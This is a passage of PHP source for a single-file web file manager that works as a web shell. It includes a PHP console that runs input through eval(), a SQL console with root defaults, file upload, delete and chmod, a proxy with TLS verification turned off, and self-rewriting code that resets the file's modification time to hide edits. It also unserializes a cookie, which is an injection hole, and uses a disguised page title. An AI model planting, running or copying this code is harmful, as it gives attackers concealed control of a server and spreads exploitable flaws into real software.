$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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